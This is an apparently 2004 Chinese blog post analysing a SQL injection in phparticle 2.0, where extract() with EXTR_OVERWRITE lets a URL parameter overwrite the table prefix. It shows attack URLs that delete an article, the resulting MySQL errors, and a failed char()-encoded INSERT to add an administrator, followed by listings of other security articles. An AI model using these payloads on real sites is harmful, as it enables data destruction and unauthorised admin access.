phparticle 2.0注入漏洞测试分析

原创 2004年12月29日 06:31:00
phparticle是PHP中最好的文章系统了,好像至今还没有被黑的记录,我以前学习PHP的时候就是看这个文章系统的代码,感觉和VBB很相似,而且也仔细分析过,没有什么漏洞,后来掌握PHP后,也就没有再去分析他。给我的感觉是很安全的。

  前段时间小花和我说phparticle有一个变量没有初始化,我看了看,的确可以构造这个变量,而且任意一个页面都可以的,危害嘛,我没有能力拿到有意义的东西,但是要破坏简直轻而易举,唉,终于明白破坏比建设简单的原因了。

  /global.php文件开头是这样写的:

<?php
error_reporting(7);

if ($showqueries==1 OR $_GET[showqueries]==1){
$script_start_time = microtime();
}

require "admin/config.php";
require "admin/class/mysql.php";
require "admin/configs/setting.php";

//var_dump($configuration);
//extract($configuration,EXTR_SKIP);

extract($configuration,EXTR_OVERWRITE);

  /admin/configs/setting.php文件中,变量$configuration是一个数组,是整个文章系统的配置参数,为了减少查询次数,把数据库的配置信息,写进文件,速度自然快很多,这个本来一切很正常很正常,但是一行代码,就足以让phparticle的数据可以瞬间消失。

extract($configuration,EXTR_OVERWRITE);

  extract()函数在PHP手册上是这么写的:


int extract ( array var_array [, int extract_type [, string prefix]])


本函数用来将变量从数组中导入到当前的符号表中。接受结合数组 var_array 作为参数并将键名当作变量名,值作为变量的值。对每个键/值对都会在当前的符号表中建立变量,并受到 extract_type 和 prefix 参数的影响。

注: 自版本 4.0.5 起本函数返回被提取的变量数目。

注: EXTR_IF_EXISTS 和 EXTR_PREFIX_IF_EXISTS 是版本 4.2.0 中引进的。

注: EXTR_REFS 是版本 4.3.0 中引进的。

extract() 检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。对待非法/数字和冲突的键名的方法将根据 extract_type 参数决定。可以是以下值之一:


EXTR_OVERWRITE
如果有冲突,覆盖已有的变量。


  很显然,这里可以覆盖任意变量,甚至系统变量,包括$_GET,$_POST等,真的不明白为什么作者要把上面那行给注释掉用这个“EXTR_OVERWRITE”。

  最关键的变量是admin/config.php下的$db_prefix变量,这是表前缀,这个是最有用的,因为phparticle里面的所有查询都会在表面使用这个变量,肯定能造成SQL注入,但条件极为苛刻。从表的前缀这里构造一个完整的SQL QUERY。然后把后面的语句给注释掉。呵呵,说不定还可以load_file或者into outfile,窃喜~~

  但是实际上并没有这么顺利,为了更清晰的测试。我就为所有的SQL QUERY设置了一个变量$sql,然后在系统的首页输出,来看看首先执行的SQL语句是什么,是SELECT就可以注入,这样能得到很多有用的信息。甚至……,如果是INSERT更好了,直接构造语句插入一个管理员,是UPDATE也可以,把我注册的用户UPDATE成管理员组的角色,是DELETE嘛,就可以删除任意数据,结果输出的语句是“DELETE FROM pa_session WHERE expiry<1103398532 111111111”,如图:

phparticle1.gif

  非常恼火,如果这个DELETE语句错误的话,就会显示MYSQL的错误信息,并停止运行程序,根本不可能执行下一句SQL语句,恼火。而且phparticle的容错处理非常不错。没办法返回WEB的物理路径,如果当前的用户不是管理员,连MYSQL错误信息都不能看到,我在本地测试的,因为是管理员,所以MYSQL的出错信息都返回到屏幕上,对我们测试更加有帮助,咱们构造一个完整的DELETE语句看看,成功以后,应该会继续执行下一句SQL QUERY,我就随便提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=angel

  结果返回:

phpArticle
--------------------------------------------------------------------------------

数据库出错:

SQL 无效: DELETE FROM angelsession WHERE expiry<1104152890
Mysql error description: Table 'article20.angelsession' doesn't exist
Mysql error number: 1146
Date: 2004-12-27 @ 21:08
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=angel
Referer:

请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员.

  错误了,表不存在,不过数据库名字已经出来了,就是article20,当然实际应用是看不到这些信息的,因为phparticle有比较完善的会话检查,所以不管浏览或是刷新任何一个页面,都会先对session表操作,删除用户的会话,更新会话,查询会话,都会有操作,因为用户登陆,在线用户,还有用户的状态,都是用session记录的,了解这些以后,开始构造一个完整的DELETE语句再看看下一步该怎么做:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article where articleid=1/*

  返回:

phpArticle
--------------------------------------------------------------------------------

数据库出错:

SQL 无效: SELECT COUNT(DISTINCT ipaddress) AS total FROM pa_article where articleid=1/*session WHERE expiry>1104153004
Mysql error description: Unknown column 'ipaddress' in 'field list'
Mysql error number: 1054
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员.

phpArticle
--------------------------------------------------------------------------------

数据库出错:

SQL 无效: INSERT INTO pa_article where articleid=1/*session (sessionid,expiry,value,userid,ipaddress,useragent,location,lastactivity)
VALUES ('a9fdc1b9d7e37b92686fb46486b41d20',1104154444,'pauserinfo|a:1:{s:14:/"timezoneoffset/";s:1:/"8/";}','','127.0.0.1','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Maxthon; .NET CLR 1.1.4322)','/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*','1104153004')
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where articleid=1/*session (sessionid,expiry,value,userid,ipaddr
Mysql error number: 1064
Date: 2004-12-27 @ 21:10
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article%20where%20articleid=1/*
Referer:

请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员.

Warning: Unknown(): A session is active. You cannot change the session module's ini settings at this time. in Unknown on line 0

  再看看文章系统。文章已经成功删除。但是SQL QUERY却停留在SELECT上面了,而且出错信息已经终止了程序的运行,导致无法执行下一个SQL QUERY,但是从出错的页面看来,INSERT语句也用我们的参数执行了,如图:

phparticle2.gif


点击查看原尺寸图片


  我就想能不能直接构造INSERT语句加一个管理员呢?

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*

  结果返回,看来行不通,在第一句SQL QUERY的时候,就出错终止了。

phpArticle
--------------------------------------------------------------------------------

数据库出错:

SQL 无效: DELETE FROM pa_user VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*session WHERE expiry<1104153372
Mysql error description: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'VALUES (null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101
Mysql error number: 1064
Date: 2004-12-27 @ 21:16
Script: http://localhost/phparticle/global.php?configuration[db_prefix]=pa_user%20VALUES%20(null, char(110, 97, 109, 101), 1, char(102, 52, 102, 48, 54, 56, 101, 55, 49, 101, 48, 100, 56, 55, 98, 102, 48, 97, 100, 53, 49, 101, 54, 50, 49, 52, 97, 98, 56, 52, 101, 57), 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 8);/*
Referer:


请尝试刷新你的浏览器,如果仍然无法正常显示,请联系管理员.

  到了这个地步,我只能无奈的提交:

http://localhost/phparticle/global.php?configuration[db_prefix]=pa_article/*

  结束了这次测试。

  看来这个phparticle宁死不屈,只能揉捏她,而不能占有她啊……如果哪位仁兄能占有她,记得和我分享啊。

sql注入漏洞检测方法

具有参数的地址: 可以用 啊D注入工具v2.32争抢版 或者 Domain4.3明小子 mssql的sysobject检测,可以加上过滤条件,比如 UNICODE(substring(xtype...
  • xiuzhentianting
  • xiuzhentianting
  • 2015年09月04日 16:41
  • 1187

Xml实体注入漏洞的一些测试和总结

Xml实体注入漏洞的一些总结 1、 xml实体注入原理 &arno; is readed from read.txt &boot; is readed from ...
  • Arno2013
  • Arno2013
  • 2012年02月01日 09:24
  • 3684

Xpath注入攻击及其防御技术研究

Xpath注入攻击及其防御技术研究 陆培军 (南通大学 计算机科学与技术学院,江苏 南通226019)     摘 要 XML技术被广泛使用,XML数据的安全性越来越重要。本文简要介绍了XPat...
  • yefan2222
  • yefan2222
  • 2012年02月02日 15:10
  • 10314

安全测试之一:HTTP响应头拆分/CRLF注入详解

一:前言 “HTTP响应头拆分漏洞”是一种新型的web攻击方案,它重新产生了很多安全漏洞包括:web缓存感染、用户信息涂改、窃取敏感用户页面、跨站脚本漏洞。这项攻击方案,包括其衍生的一系列技术产生,是...
  • wauit
  • wauit
  • 2015年06月11日 20:40
  • 1270

测试web应用程序搜索SQL注入漏洞

1.简单的SQL注入(select colunmns from table where criteria='')   在搜索框中输入 ' 然后单击,查看SQL错误信息,如果返回错误信息说明出现未匹配的...
  • sxyzwq
  • sxyzwq
  • 2016年09月12日 11:44
  • 1190

xss妙用,快速测试xss漏洞。

#介绍# 这篇文章的主要目的是去给应用安全测试者提供一份xss漏洞检测指南。文章的初始内容由RSnake提供给OWASP,从他的xss备忘录:http://ha.ckers.org/xss.html ...
  • qq_36512966
  • qq_36512966
  • 2017年05月24日 11:21
  • 938

技术分享】CSV/XLS Injection Vulnerability 分析利用和YY

作者:sdl0day_柳兮 稿费:500 RMB 0x00 概述 and DDE 前段时间看见有人写文章讲csv注入的问题,了解后发现在国外两年前已经有人提了,今天有空也来看看这...
  • qq_27446553
  • qq_27446553
  • 2016年09月05日 15:31
  • 357

Struts2漏洞分析与研究之Ognl机制探讨

转载请注明出处谢谢:http://blog.csdn.net/u011721501?viewmode=list 0、前言 最近专业实训上需要添加一个struts2的批量利用程序,倒腾半天,我发现我...
  • u011721501
  • u011721501
  • 2014年11月30日 01:03
  • 3057

aspx web入侵渗透经验总结

对一般遇到.net的网站时      1、通常会注册个用户    第一选择利用上传判断的漏洞 加图片头GIF89A 顺利饶过    2、    第二种就是注入了, 在?id=xx后加单引号 '...
  • ccx_john
  • ccx_john
  • 2013年12月26日 19:28
  • 2240

手动漏洞挖掘-SQL注入小谈

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。 服务器端程序将用户输入参数做为查询条件,直接拼接SQL语句,并将查询...
  • qq_33936481
  • qq_33936481
  • 2016年04月25日 20:53
  • 2741
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:phparticle 2.0注入漏洞测试分析
举报原因:
原因补充:

(最多只允许输入30个字)